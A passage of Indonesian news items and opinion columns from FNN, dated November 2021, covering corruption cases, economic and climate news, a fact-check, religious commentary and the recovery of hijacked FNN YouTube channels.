belum berakhir. Menurut BPS, konsumsi rumah tangga tumbuh 1,03 persen (yoy) di kuartal III 2021, konsumsi pemerintah tumbuh 0,66 persen, dan Pembentukan Modal tetap Bruto (PMTB) tumbuh 3,74 persen. Kemudian, ekspor tumbuh signifikan yakni 29,16 persen, namun lebih rendah dari impor yang tumbuh 30,11 persen. Arif meyakini ekonomi akan lebih menggeliat pada kuartal IV 2021, setelah kebijakan pembatasan mobilitas masyarakat mulai diperlonggar. Hal itu juga diperkuat dengan kondisi pandemi COVID-19 yang terus mereda. Tingkat vaksinasi di Indonesia saat ini telah mencapai hampir 60 persen untuk suntikan dosis pertama dan 37 persen untuk suntikan dosis kedua. “Meskipun demikian, kita harus tetap waspada bahwa situasi pandemi belum sepenuhnya berakhir dan masyarakat harus terus konsisten menjaga protokol kesehatan agar capaian dan arah pemulihan yang sudah kita raih ini dapat terus berjalan lebih baik lagi dan risiko pembatasan aktivitas ekonomi akibat peningkatan kasus COVID-19 tidak lagi terjadi,” ujarnya. (mth)

KPK Amankan Bukti Kasus Gratifikasi dan TPPU Puput Tantriana Sari

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mengamankan barang bukti berupa dokumen dan alat elektronik dari penggeledahan di Kabupaten Probolinggo, Jawa Timur, Kamis (4/11). Penggeledahan dilakukan dalam penyidikan kasus dugaan gratifikasi dan Tindak Pidana Pencucian Uang (TPPU) yang menjerat Bupati Probolinggo nonaktif Puput Tantriana Sari (PTS) . "Ditemukan dan diamankan bukti antara lain berupa dokumen dan alat elektronik yang diduga berkaitan dengan perkara," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Jumat. Adapun lokasi yang digeledah, yaitu dua tempat di dalam bangunan yang beralamat di Krajan 2, Rangkang, Kecamatan Kraksaan, Kabupaten Probolinggo. "Tim penyidik selanjutnya akan menelaah bukti-bukti tersebut untuk memastikan ada hubungannya dengan perkara ini dan kemudian segera dilakukan penyitaan sebagai kelengkapan berkas perkara tersangka PTS dan kawan-kawan," ucap Ali. Kasus gratifikasi dan TPPU yang menjerat Puput merupakan pengembangan dari kasus dugaan korupsi seleksi jabatan di lingkungan Pemkab Probolinggo Tahun 2021. KPK total menetapkan 22 tersangka dalam kasus dugaan korupsi seleksi jabatan tersebut. Sebagai penerima, yaitu Puput, Anggota DPR RI Hasan Aminuddin (HA) yang juga suami Puput dan pernah menjabat sebagai Bupati Probolinggo, Doddy Kurniawan (DK) selaku Aparatur Sipil Negara (ASN)/Camat Krejengan, Kabupaten Probolinggo, dan Muhammad Ridwan (MR) selaku ASN/Camat Paiton, Kabupaten Probolinggo. Sementara 18 orang sebagai pemberi suap merupakan ASN Pemkab Probolinggo. Dalam konstruksi perkara, KPK menjelaskan bahwa pemilihan kepala desa serentak tahap II di wilayah Kabupaten Probolinggo yang awalnya diagendakan pada 27 Desember 2021 mengalami pengunduran jadwal. Adapun terhitung 9 September 2021 terdapat 252 kepala desa dari 24 kecamatan di Kabupaten Probolinggo yang selesai menjabat. Untuk mengisi kekosongan jabatan kepala desa tersebut maka akan diisi oleh penjabat (Pj) kepala desa (kades) yang berasal dari para ASN di Pemkab Probolinggo dan untuk pengusulannya dilakukan melalui camat. KPK menyebut ada persyaratan khusus di mana usulan nama para Pj kades harus mendapatkan persetujuan Hasan yang juga suami Puput dalam bentuk paraf pada nota dinas pengusulan nama sebagai representasi dari Puput dan para calon Pj kades juga diwajibkan memberikan dan menyetorkan sejumlah uang. Adapun tarif untuk menjadi Pj kades di Kabupaten Probolinggo sebesar Rp20 juta per orang ditambah dalam bentuk upeti penyewaan tanah kas desa dengan tarif Rp5 juta per hektare. Setelah ditemukan bukti permulaan yang cukup, KPK juga menetapkan Puput dan suaminya sebagai tersangka kasus dugaan penerimaan gratifikasi dan TPPU dari pengembangan kasus seleksi jabatan tersebut. (mth)

Peneliti: Ubah Sistem Pangan dengan Perbanyak Mekanisasi Pertanian

Jakarta, FNN - Kepala Penelitian Center for Indonesian Policy Studies (CIPS) Felippa Ann Amanta menekankan pentingnya melakukan transformasi atau pengubahan sistem pangan di Tanah Air, antara lain dengan memperbanyak mekanisasi produksi pertanian secara lebih presisi. "Idealnya Indonesia mengadopsi cara bercocok tanam yang lebih efisien dan berkelanjutan, seperti dengan mekanisasi pertanian, precision farming berbasis data yang kuat," kata Felippa Ann Amanta dalam keterangan tertulis di Jakarta, Jumat. Selain mekanisasi pertanian dengan data yang presisi, lanjutnya, maka cara pertanian berkelanjutan tersebut juga bisa diperkuat dengan pertanian organik dan pengendalian hama terpadu. Apalagi, ia mengingatkan sektor pertanian sangat rentan terdampak krisis iklim sehingga diperlukan adanya transformasi sistem pangan Indonesia ke arah yang lebih berkelanjutan untuk memitigasi risiko krisis iklim dan memastikan terjaganya ketahanan pangan nasional. "Pertanian memang berkontribusi pada krisis iklim, terutama karena penggunaan lahan atau pencemaran akibat penggunaan pupuk berlebihan. Sebaliknya, pertanian juga sangat terdampak dari krisis iklim, karena meningkatnya cuaca ekstrim, kemarau berkepanjangan, dan degradasi lahan juga mempengaruhi produksi," ujar Felippa. Ia menekankan pula bahwa praktik budidaya yang berkelanjutan dapat meningkatkan daya saing produk pertanian Indonesia. Sebagai contoh, permintaan pasar global untuk kakao atau kopi yang bersertifikasi berkelanjutan semakin meningkat. "Perdagangan pangan internasional juga dapat dimanfaatkan untuk meningkatkan ketahanan pangan. Kebijakan swasembada yang proteksionis dan menutup akses pada impor dapat berkontribusi pada peningkatan emisi gas rumah kaca akibat aktivitas pertanian yang tidak efisien, seperti konversi lahan untuk lumbung pangan yang masif untuk menekan emisi dan memastikan stabilitas ketahanan pangan pemerintah juga perlu mendorong diversifikasi sumber pangan dan sistem pertanian," paparnya. Alih-alih menutup akses pada impor, menurut dia, pemerintah perlu mempermudah akses petani kepada faktor produksi, seperti benih yang berkualitas. Pemerintah, lanjutnya, juga dapat memberdayakan riset dan pengembangan bibit varietas unggul, serta bekerjasama dengan pihak swasta dalam proses modernisasi pertanian. Terkait dampak iklim, Menteri Pertanian Syahrul Yasin Limpo menekankan pentingnya kesiapan sektor pertanian di tengah perubahan iklim guna menjaga stabilitas ketahanan pangan secara nasional maupun global. Mentan Syahrul mengatakan berbagai negara telah bersiap menyediakan pangan untuk kebutuhannya dalam beberapa waktu ke depan. Sektor pertanian Indonesia dan ASEAN, menurut Syahrul, harus bersiap dengan mempersiapkan cadangan pangan kawasan. Urgensi penguatan resilensi atau ketangguhan sistem pangan kawasan terhadap berbagai guncangan harus disikapi secara serius. Menurut Mentan Syahrul, salah satu yang dapat dipersiapkan adalah optimalisasi Cadangan Beras Darurat ASEAN bersama Tiga Negara Mitra ASEAN (APTERR) dalam mengantisipasi kerawanan pangan. Langkah ini, lanjutnya, diharapkan mampu mendukung penanganan kejadian darurat pangan di kawasan ASEAN yang diakibatkan bencana alam, pandemi, atau krisis ekonomi. “Mungkin tidak kita gunakan sekarang, tetapi suatu saat bila ada hal di luar dugaan kita, seperti anomali cuaca, covid, climate change, maka tentu saja ini Cadangan Beras Darurat akan kita butuhkan, saya ingatkan ini lagi,” ucap Mentan. (mth)

Sumbar Perluas Pasar UMKM Melalui e-Katalog Lokal

Padang, FNN - Pemerintah Provinsi Sumatera Barat berupaya memperluas pasar bagi UMKM di daerah itu salah satunya dengan memasukkannya ke dalam e-katalog lokal sehingga seluruh OPD bisa berbelanja produk lokal sesuai aturan. "Selama OPD di daerah sulit melakukan pengadaan barang dan jasa dari UMKM atau vendor lokal karena tidak masuk dalam e-katalog. Kita carikan solusi agar mereka bisa masuk e-katalog lokal sehingga dapat diakses pemerintah sehingga pasarnya makin luas," kata Wakil Gubernur Sumbar, Audy Joinaldy dihubungi dari Sumbar, Jumat. Untuk mewujudkan hal tersebut agar sesuai dengan aturan, Pemprov Sumbar perlu belajar dari daerah yang telah lebih dahulu menerapkannya. Salah satunya Jawa Timur. "Jawa Timur adalah daerah yang telah lebih dahulu dan berhasil melaksanakan system pengadaan langsung berbasis e-comers (marketplace). Kita perlu mempelajari keberhasilan itu untuk diterapkan di Sumbar," kata Audy. Dengan demikian tujuan untuk memberdayakan UMKM yang menjadi fokus dan prioritas bagi Sumbar bisa terealisasi secepatnya karena dengan dioptimalkannya keberadaan e-katalog lokal dan marketplace akan menjadi jembatan bagi UMKM lokal Sumbar untuk bisa mengakses dana APBD ataupun APBN di Sumatera Barat. Namun demikian, langkah tersebut tidaklah semudah membalikkan telapak tangan karena diperlukan kesamaan visi dan langkah antara kebijakan dengan operator pengelola pengadaan serta vendor-vendor dari UMKM-nya. "Kita telah membawa beberapa pimpinan OPD Sumbar untuk belajar dan berbagi informasi/strategi ke Pemprov Jawa Timur guna menjadikan kebijakan daerah ini bisa lebih operasional dan diterima oleh masyarakat, khususnya UMKM," ujar Audy. Audy mengatakan Sumbar memiliki potensi UMKM yang bisa menjadi tulang punggung ekonomi daerah. Bahkan UMKM ini bisa menjadi mitra bisnis bagi banyak UMKM lain di provinsi lain dengan jembatan para perantau Minang yang tersebar di seluruh provinsi di Indonesia. Hanya saja, di masa pandemi banyak banyak UMKM yang mati atau hampir mati karena perputaran ekonomi yang sangat lesu. Atas pertimbangan hal tersebut maka diperlukan upaya berupa terobosan baru diantaranya penerapan e-katalog lokal seperti yang dilakukan Jawa Timur. Setidaknya tersedia alokasi belanja langsung Pemprov Sumbar yang bisa diakses oleh UMKM melalui mekanisme Belanja Langsung (marketplace) sebesar lebih dari Rp500 milyar, dan ini belum termasuk anggaran kabupaten/kota se-Sumatera Barat. Sementara itu Kepala Biro Pengadaan Barang dan Jasa Sumbar Doni Rahmat Samulo mengatakan Pemprov Sumbar telah memulai upaya sebagaimana yang dilakukan oleh Jawa Timur. Namun saat ini ada beberapa kendala yang perlu untuk dibenahi seperti bagaimana pola mengajak UMKM untuk bisa segera bertransformasi menjadi UMKM Go Digital dan aktif menghubungi Biro PBJ. Selanjutnya juga masih diperlukan penyesuaian-penyesuaian dalam hal administrasi keuangan. "Jangan sampai niat baik untuk mensukseskan program digitalisasi nasional, namun bermasalah dalam hal dokumen akuntabilitas," katanya. Saat ini jumlah UMKM yang potensial untuk digandeng sebagai toko daring sekitar 14.000 unit dan Dinas Koperasi UMKM siap untuk membantu biro PBJ dalam hal menyiapkan UMKM Go Digital. Hasil kunjungan ke Provinsi Jawa Timur diketahui setelah melaksanakan mekanisme belanja daring melalui platform Mbizmarket daerah itu mencatat transaksi yang dilakukan mencapai lebih dari Rp26 milyar dalam kurun waktu kurang dari setahun, dan komoditi yang paling dominan adalah makan minum rapat, catering dan ATK. Pemprov Jatim terus mengembangkan pola ini dengan lebih melibatkan pemerintah kabupaten/kota yang ada di sana. (mth)

Hapus Fit and Proper Test DPR Terhadap Calon Panglima TNI

Jakarta, FNN - Pengamat komunikasi politik dan militer dari Universitas Nasional (Unas) Jakarta, Selamat Ginting, mengatakan, proses uji kepatutan dan kelayakan (fit and proper test) oleh DPR terhadap calon Panglima TNI, sebaiknya dihapuskan saja. “Uji kepatutan dan kelayakan nyatanya lebih sebagai gimmick (upaya mencari perhatian) politik yang menampilkan kegenitan anggota parlemen dalam proses penentuan calon Panglima TNI,” kata Selamat Ginting di Jakarta, Kamis (4/11/2021). Ia menanggapi rencana fit and propers test DPR terhadap calon Panglima TNI Jenderal Andika Perkasa. Seperti diketahui surat presiden kepada DPR dalam penentuan calon panglima TNI sudah disampaikan pada Rabu (3/11/2021). DPR akan segera melakukan uji kepatutan dan kelayakan. Menurut Selamat Ginting, penentuan siapa yang menjadi panglima TNI merupakan hak prerogratif Presiden sebagai pemegang kekuasaan tertinggi atas Angkatan Darat, Angkatan Laut, dan Angkatan Udara, sesuai konstitusi. Jadi sebaiknya tidak lagi direcoki oleh DPR. Sistem politik Indonesia menganut sistem presidensil bukan sistem parlemen. Dengan demikian, lanjutnya, UU No.34 Tahun 2004 tentang TNI, khususnya pasal 13 ayat 2, mesti diubah. Pasal dan ayat ini seperti ritual politik dalam pergantian Panglima TNI. Ayat (2) berbunyi: "Panglima TNI diangkat dan diberhentikan oleh Presiden setelah mendapat persetujuan DPR". Terhadap ayat (2) penjelasannya: "Yang dimaksud dengan persetujuan DPR, adalah pendapat berdasarkan alasan dan pertimbangan yang kuat tentang aspek moral dan kepribadian, berdasarkan rekam jejak". Namun, ujar Ginting, antara kehendak pada penjelasan dengan prakteknya, tidak sejalan. DPR justru tidak menjalankan apa yang tertuang dalam penjelasan ayat (2) tersebut. DPR justru berpotensi melampaui dan menyimpang dari semangat dan substansi penjelasan ayat (2) tersebut. “Itulah yang saya bilang, fit and proper test seperti gimmick politik saja. Kegenitan parlemen di depan layar televisi, namun dengan mutu pertanyaan-pertanyaan yang tidak substansial. Bahkan kadang tidak bermutu, karena tidak memahami organisasi militer,” ujar kandidat doktor ilmu politik itu. Selamat Ginting memberikan contoh ketika fit and proper test terhadap calon Panglima TNI Marsekal Djoko Suyanto pada 2006. Uji kepatutan dan kelayakannya sampai memakan waktu 13 jam. “Mungkin inilah uji kepatutan dan kelayakan terlama di dunia. Bisa didaftarkan dalam buku rekor dunia. Menjadi panggung DPR untuk ‘ngerjai’ orang yang bukan pilihan partainya,” papar wartawan senior ini. Jadi, kata dia, uji kepatutan dan kelayakan di DPR justru bisa menggiring TNI kembali dirayu masuk dalam ranah politik praktis. Akibatnya bisa menimbulkan birahi politik bagi personel TNI untuk melakukan politik praktis dengan melobi partai-partai politik di parlemen. Kondisi tersebut, kata Selamat Ginting, akan mengembalikan TNI kembali ke titik nadir, seperti sebelum terjadinya reformasi 1998-1999. Sebab politikus sipil berpotensi menarik kembali para calon panglima TNI memasuki dunia politik. Di situlah akan terjadi politik dagang sapi untuk mendapatkan keuntungan. “Nanti kalau kamu terpilih jadi panglima TNI, saya titip program ini, orang itu, serta kepentingan-kepentingan politik lainnya. Kira-kira begitu pesan-pesan titipannya. Apalagi, calon panglima TNI juga manusia biasa yang bisa tergoda rayuan politik,” ujar dosen Fakultas Ilmu Sosial dan Ilmu Politik (FISIP) Unas. Atas dasar itulah, ia mengusulkan agar UU No.34 Tahun 2004 tentang TNI terutama ayat yang menghadirkan peran DPR dihapuskan. Jadi cukup bunyi pasal 13 ayat (2) Presiden mengangkat/memberhentikan Panglima TNI. Tidak perlu lagi ada embel-embel: meminta persetujuan DPR. Mengapa perlu diakhiri? Menurut Selamat Ginting, setidaknya ada tiga alasan penting. Pertama, mekanisme fit and proper test terhadap calon Panglima TNI, sesungguhnya tidak ada landasan hukum/aturan yang jelas. Kedua, mekanisme yang dipaksakan itu justru bertolak belakang dengan semangat dan substansi penjelasan pasal 13, ayat (2) UU No. 34/2004. Ketiga, tes tersebut kurang substantif. Hanya basa-basi politik saja. Dari ketiga alasan itu, menurut Ginting, memiliki risiko bagi organisasi TNI. Risikonya, dapat membelah jalur komando serta loyalitas tegak lurus TNI kepada Presiden sebagai kepala negara. Dengan memaksa tes di DPR, bisa terjadi loylitas ganda kepada parlemen. “Jadi setop, dan sudahi saja uji kepatutan dan kelayakan calon panglima TNI di DPR. Seseorang yang sudah bintang empat, memang layak dicalonkan menjadi pimpinan TNI. Itu saja patokannya. Jangan lagi anggota DPR yang tidak mengerti apa-apa, tapi sok tahu menguji permasalahan yang dia juga tidak paham,” pungkas Ginting yang malang melintang dalam liputan masalah pertahanan keamanan negara. (sws)

Misinformasi! Tiga Guru Besar UGM Meninggal karena Kecelakaan di Tol Cipali

Jakarta, FNN - Sebuah pesan berantai beredar di aplikasi berbagi pesan WhatsApp, pada 4 November 2021, yang mencatut peristiwa kecelakaan di Tol Cipali, Jawa Barat. Pesan itu menyatakan belasungkawa atas tiga guru besar Universitas Gadjah Mada (UGM) yang meninggal akibat kecelakaan lalu-lintas di jalan tol itu. Berikut narasi pesan berantai itu: “Turut berduka cita atas wafatnya tiga Guru Besar UGM, 1. Prof. dr. Sri Kadarsih Soejono, MSc. PhD 2. Prof. Ir. I Gede Suparta Budisatria, M.Sc., Ph.D., IPU., ASEAN Eng. 3. Prof. dr. HM. Sulchan Sofoewan, Sp.OG(K)-KFM, PhD Almarhum meninggal akibat kecelakaan lalulintas di KM 113 Jalan Tol Cipali-Cikampek, pk 02.00 Kamis 4 Nov 2021. Semoga husnul khotimah, arwahnya ditempatkan yg layak di Sisi Allah SWT, amiin.” Namun, benarkah terdapat tiga guru besar UGM yang meninggal akibat peristiwa kecelakaan itu? Penjelasan: Sekretaris Jenderal Pengurus Pusat Kagama AAGN Ari Dwipayana membenarkan kabar peristiwa kecelakaan di Tol Cipali itu, tetapi korban yang meninggal karena kecelakaan yaitu Dekan Fakultas Peternakan UGM Prof. I Gede Suparta Budisatria. Sedangkan sopir fakultas Jumari, mantan dekan Fakultas Peternakan Prof Ali Agus, dan dosen lain Hanim hanya mengalami luka ringan. Konfirmasi serupa juga disampaikan Kepala Bagian Humas UGM Iva Ariani yang membenarkan kabar duka yang menimpa rombongan Dosen Fakultas Peternakan UGM. Iva menyatakan dua orang lain yang disebutkan dalam pesan berantai tersebut yaitu Prof. dr. Sri Kadarsih Soejono, MSc. PhD dan juga Prof. dr. HM. Sulchan Sofoewan, Sp.OG(K)-KFM, PhD merupakan guru besar Fakultas Kedokteran, Kesehatan Masyarakat, dan Keperawatan. Keduanya memang telah meninggal, tapi bukan karena kecelakaan di Tol Cipali itu. (ant, sws)

Amalan Perjalanan

By M Rizal Fadillah KECELAKAAN tragis yang menewaskan artis Vanessa Angel dan Febri Ardiansyah memenuhi ruang pemberitaan. Dari riwayat kasus hingga do'a muncul sebagai respons peristiwa sopir yang lalai hingga menabrak pembatas Jalan Tol Jombang Jawa Timur tersebut. Perjalanan Jakarta-Surabaya terhenti di tempat nahas. Kematian mengingatkan banyak orang tentang pentingnya kewaspadaan hidup. Ketika berdo'a dan berharap ujung tempat adalah Surga, maka amalan menuju Surga itu harus melekat dan menyertai. Untuk perjalanan berkendaraan pun agama Islam mengatur dengan jelas. Pertama, menaiki dengan bismillah dan tawakal kepada Allah "Bismillahi tawakkaltu alallahi laa haula walaa quwwata Illa billah". Segala hal yang diawali dengan bismillah dan tawakal kepada Allah, insya Allah membawa berkah dan keselamatan. Kedua, berdo'a dengan yang disunnahkan Rosulullah SAW dengan unsur-unsur sebagaimana dalam Hadits Riwayat Syafiie. Setelah takbir membaca "Subhaanal ladzii sakhkharolanaa haadzaa wa maa kunna lahu muqrinin, wa Inna ilaa robbinaa lamunqolibuun" (Mahasuci Allah yang telah menundukkan kendaraan ini, padahal kami tak kuasa menundukkannya dan kepada Allah lah kami semua dikembalikan). Ini adalah kesadaran bahwa hakekatnya Allah yang menggerakkan dan mengendalikan kendaraan itu. "Allahumma inna nas aluka fie safarinaa hadzal birro wat taqwa wa minal 'amali maa tardhoo" (Ya Allah kami mohon kepada-Mu dalam perjalanan ini kebaikan dan ketakwaan serta amal yang diridhoi). Perjalanan yang bermanfaat dan terhindar dari keburukan dan kesia-siaan. "Allahumma hawwin 'alainaa safarinaa hadza wa athwi 'annaa bu'dahu" (Ya Allah mudahkan perjalanan ini, dekatkanlah jarak jauhnya). Mohon kemudahan dan rasa dekat sejauh apapun jaraknya. Karena kadang yang dekat juga sering terasa jauh dan mengesalkan. "Allahumma antash shoohibu fies safar wal kholifatu fil ahl" (Wahai Allah, Engkau adalah sahabat di perjalanan dan pengganti dalam urusan keluarga). Betapa tenang hamba yang yakin selama perjalanan ditemani Allah, sementara keluarga disayangi dan dilindungi Allah SWT. "Allahumma inni a'uudzubika min wa'tsaa-is safar, wa ka-abatil mandhor wa su-il munqolabi fiel maali wal ahl" (Ya Allah aku berlindung dari kesulitan perjalanan dan performance yang jelek dalam urusan harta dan keluarga sekembalinya nanti). Bahagia sekali jika kembali nanti bagus harta dan keceriaan keluarga. Ketiga, selama perjalanan banyak beristighfar berzikir mengingat Allah. Rosulullah SAW jika jalan mendaki memperbanyak takbir. Sebaliknya jika jalan menurun tasbih lebih banyak dilafadzkan. Artinya setiap waktu sadar. Keempat, jika hampir tiba, bermohon agar tempat yang dituju memberi kebaikan dan terlindungi dari keburukan yang merusak dan membahayakan. "Allahumma inni as-aluka khoirohaa wa khoiro ahlihaa wa khoiroo maa fiiha. Wa wa'auudzubika min syarriha wa syarri ahlihaa wa syarri maa fiihaa" (Ya Allah, aku memohon kebaikan, kebaikan penduduknya, dan kebaikan segala sesuatu yang ada di tempat ini. Aku berlindung kepada-Mu dari keburukan, keburukan penduduknya, dan keburukan segala sesuatu yang ada di tempat ini). Dengan amalan yang dituntunkan oleh agama ini insya Allah berkendaraan kita akan aman, nyaman, dan menjadi jalan bagi keberhasilan yang akan didapat. Ada dalam perlindungan Allah SWT. Terlalu banyak terjadi kecelakaan memilukan yang disebabkan oleh kelalaian. *) Kolumnis tetap FNN

Sempat Dibajak. Channel Rocky Gerung & FNN Sudah Pulih Semua

Jakarta, FNN - Semua channel youtube yang tergabung dalam Forum News Network (FNN) dan sempat dibajak pada Rabu pagi, 3 November 2021 sudah berhasil dipulihkan, Kamis siang, 4 November 2021. Channel Rocky Gerung Official, M. Said Didu Official (MSD) berhasil dipulihkan tidak lama setelah dibajak. Sementara channel Hersubeno Point baru bisa dipulihkan pada Kamis siang, 4 November 2021. Bukan hanya tidak bisa diakses, Channel Rocky Gerung sempat diganti namanya menjadi Coinbase (Speaker Series)? Sebelumnya channel Off The Record, FNN juga sempat dibajak dan namanya diubah menjadi Itherum. "Alhamdulillah semua channel FNN sudah pulih," kata Pemimpin Redaksi FNN, Mangarahon Dongoran dalam siaran persnya, di Jakarta, Kamis, 4 November 2021. "Kami mengecam keras cara-cara yang tidak beradab dengan tujuan membungkam kebebasan media," ujar Mangarahon yang biasa dipanggil Bung Rahon itu. Praktik membajak channel media yang kritis, tambah Rahon, menjadikan indeks demokrasi dan kebebasan berpendapat di Indonesia terus menurun. Freedom House menurunkan status Indonesia dari negara bebas (free) menjadi setengah bebas (partly free). Fungsi media di negara demokratis adalah pilar keempat sekaligus sebagai anjing penjaga (watchdog). "Tidak pada tempatnya sikap kritis dihadapi dengan upaya pembungkaman berupa pembajakan, dan kriminalisasi dengan melaporkan ke polisi," tegas Rahon. Kebebasan dan kemerdekaan pers dijamin konstitusi dan Undang-Undang Nomor 40 Tahun 1999 tentang Pers. Jika ada pihak-pihak yang merasa keberatan dengan pemberitaan dan konten dari channel FNN, hendaknya menggunakan hak jawab dan hak koreksi sebagaimana diatur dalam UU tetang Pers. Sebagai insan pers yang menjunjung tinggi hukum dan peraturan perundang-undangan, kami akan memuat hak jawab dan hak koreksi yang disampaikan setiap yang merasa keberatan. Bila masih merasa kurang puas, bisa melapor ke Dewan Pers. Sebagai media yang diterbitkan oleh perusahaan berbadan hukum pers dan terdaftar di Dewan Pers, kami senantiasa mematuhi segala aturan yang berlaku, menerapkan kode etik jurnalistik dan pedoman pemberitaan siber. Ttd Mangarahon Dongoran Pemimpin Redaksi Kontak : 0816854365

Erick: Kerjasama Garuda - Emirates Perkuat Fokus Layanan Rute Domestik

Jakarta, FNN - Menteri BUMN Erick Thohir mengungkapkan kerjasama Garuda Indonesia dan maskapai Emirates akan memperkuat fokus layanan rute domestik Garuda. Erick Thohir menyampaikan bahwa melalui kerjasama "code sharing" dengan Emirates dalam melayani rute penerbangan ke luar negeri, maka Garuda masih memiliki "value" di mata pelanggannya. Hal ini diharapkan berdampak positif dalam mendukung orientasi baru Garuda yang akan lebih fokus melayani rute domestik. "Bagaimanapun juga, kita tidak bisa tinggal diam, bukan? Yang namanya usaha dan mencari solusi harus tetap dipikirkan. Termasuk juga menyusun strategi dan fokus baru untuk bisnis penerbangan domestik Garuda," ujar Erick dalam keterangan tertulis yang diterima di Jakarta, Kamis. Di tengah usaha restrukturisasi Garuda Indonesia, Kementerian BUMN selaku pemegang saham mayoritas terus melebarkan perpektif dan mengkaji berbagai kemungkinan opsi terkait langkah pemulihan. Hal itu bertujuan agar flag carrier maskapai nasional tersebut bisa fokus pada orientasi bisnis di rute penerbangan domestik. Menteri BUMN Erick Thohir menyaksikan penandatangan kerjasama antara Garuda Indonesia dengan Emirates di Dubai, Uni Emirat Arab, Rabu (3/11). Perjanjian dalam bentuk "code sharing" tersebut menyatakan bahwa pelanggan Garuda tetap bisa menjelajahi rute internasional melalui maskapai Emirates. "Upaya restrukturisasi terus berjalan. Negosiasi utang-utang Garuda yang mencapai 7 miliar dolar AS karena leasing cost termahal yang mencapai 26 persen dan juga korupsi lagi dinegosiasikan dengan para pemberi sewa atau lessor. Meski demikian, kita tetap berusaha membuka opsi-opsi lain, paling tidak, agar bisa membantu pemulihan Garuda," kata Erick Thohir. (mth)

Potensi Bencana Hidrometeorologi di Sumsel Meningkat hingga Maret 2022

Palembang, FNN - Badan Meteorologi, Klimatologi dan Geofisika (BMKG) memprakirakan potensi bencana hidrometeorologi di Sumatra Selatan (Sumsel) mengalami peningkatan akibat adanya fenomena La Nina atau perubahan suhu permukaan laut telah melewati ambang batas terbesar. Kepala Stasiun Klimatologi dan Geofisika Kelas 1 Palembang Wandayantolis di Palembang, Kamis, mengatakan berdasarkan monitoring data suhu permukaan laut di samudra pasifik bagian tengah dan timur menunjukkan nilai anomali telah melewati ambang batas La Nina sebesar -0.61 pada terhitung sejak dasarian I Oktober 2021. Kondisi tersebut menyebabkan sebagian besar wilayah Sumsel akan diguyur hujan dengan skala menengah 200-300 mm per hari dibarengi angin yang kencang sehingga bisa menjadi penyebab bencana seperti banjir, longsor, bandang angin kencang, puting beliung ataupun badai tropis berpotensi meningkat dan terus berkembang. “Fenomena tersebut berlangsung sejak Oktober dan diprakirakan berlangsung hingga Maret 2022, Maret ini puncaknya hujan yang berpotensi berujung bencana,” kata dia. Melihat kondisi tersebut otoritas kebencanaan provinsi ataupun kabupaten kota diimbau untuk segera melakukan tindakan kesiapsiagaan mitigasi dampak bencana tersebut. Kepala Pelaksana Badan Penanggulangan Daerah (BPBD) Sumatra Selatan Iriansyah di Palembang, mengatakan, pihaknya tengah menginventarisir permasalahan dan potensi bencana setiap kabupaten kota dengan harapan teknis pelaksanaan kesiapsiagaan bencana akibat pengaruh anomali La Nina lebih akurat. “Saat ini proses itu sedang kami bahas bersama dengan Balai Besar Sungai Pekerjaan Umum dan otoritas terkait lainnya,” kata dia. Menurutnya, selama tahun 2021 sedikitnya tercatat ada 136 kejadian dan dampak bencana hidrometeorologi di Sumatra Selatan meliputi bencana banjir 17 kasus, Putting Beliung 17 kasus, Banjir Bandang lima kasus, Tanah Longsor 10 kasus termasuk kebakaran 87 kasus. Lalu rumah dengan kondisi rusak sebanyak 676 unit, rumah terendam 1.766 unit, Sekolah satu unit, Jembatan Gantung empat unit dan mushalah tiga unit. “Meski tergolong masih rendah karena dampaknya tidak separah tahun 2020 lalu, namun tetap perlu diantisipasi. Sedang kami kerjakan teknisnya seperti apa,” ujarnya. (mth)

Tidak Terjadi Secara Kebetulan

... penindasan terhadap agama justru sering menyuburkan agama... (Kuntowijoyo) Oleh Ady Amar *) MANA ada pernyataan nekat pada beberapa tahun lalu, bisa muncul dari mulut seseorang, dan itu pelecehan agama (Islam). Tapi hari-hari ini menista/melecehkan simbol-simbol dan syariat Islam itu seolah bertumbuh berlomba susul menyusul, diproduksi setiap saat. Dan bebas-bebas saja. Aman dari jeratan hukum. Belajar dari kasus Ahok, yang kepeleset Surat Al-Maidah, ayat 51, dan itu penistaan agama. Umat marah dan lalu bergerak memprotes dengan keras. Ahok lalu dibantarkan di hotel prodeo. Belajar dari kasus itu, maka aktor penista dibuat tidak non-muslim, tapi dari kalangan umat Islam sendiri. Meski penistaan/pelecehan disampaikan berkali lipat lebih jahat daripada apa yang disampaikan Ahok dulu, umat sepertinya tidak terlalu merespons berlebihan. Ada sih protes dengan pelurusan di media sosial khususnya, tapi tetap saja penyerangan terhadap Islam terus dimunculkan. Ade Armando jadi seseorang yang tampak menikmati peran sebagai aktor antagonis, melecehkan agamanya. Beberapa saat lalu, ia mempertanyakan hal yang sudah baku dalam peribadatan. Tampak miskin pengetahuan agamanya, meski ia mengaku Islam. Tiba-tiba menyatakan dengan bangga pula, bahwa saya beragama Islam tapi tidak percaya syariat Islam. Dalam hitungan hari kemudian, ia muncul lagi dengan pernyataan, bahwa perintah shalat 5 waktu itu tidak disebutkan dalam al-Qur'an. Meski lalu beberapa ulama, terutama dari kalangan MUI, memberi penjelasan tentang statemennya dengan rinci. Tapi tetap saja tidak berpengaruh buatnya. Tujuannya memang untuk melecehkan, bukan mencari kebenaran. Ditambah dengan munculnya para buzzerRp di media sosial, bersekutu mengolok syariat Islam dengan sadisnya. Ini semacam skenario yang memang dibuat, setelah apa saja yang berbau Arab diperolok dengan kadrun, lalu meningkat nekat mengolok Islam. Memakai jasa mereka yang ber-KTP Islam dengan menista syariat Islam, menjadi bebas telanjang. Intensitas penistaannya pun makin hari dibuat makin menjadi. Makhluk penista itu orangnya ya itu-itu juga. Menjadi seperti besar karena mendapat tunggangan para buzzerRp dan jaringan media sosial, yang meski media itu memakai nama Islam, tapi asyik saja memuat komen para penista itu. Tentu demi konten. Negara memang menjadi tidak hadir saat agama mayoritas ini diperlakukan tidak semestinya, amat terlihat sempurna. Maka jika ada yang mengatakan, bahwa mereka dihadirkan memang untuk diperhadapkan dengan umat Islam mayoritas, itu pun tidak dapat dipungkiri. Menyulut agar umat marah, saat agama dilecehkan. Umat ingin disibukkan dengan hal-hal tidak produktif. Berharap abai pada agenda sistemik yang dirancang segelintir manusia busuk tapi berkuasa (oligarki), yang berhasrat menguasai negeri dengan tidak semestinya. Bersyukur umat Islam mampu melihat itu semua. Mampu melihat bahwa munculnya fenomena pelecehan/penistaan terhadap Islam, itu memang skenario yang dimainkan, maka meresponsnya pun umat dengan tidak berlebihan. Cakep. Seperti dimunculkan pula Kyai Syakur, yang 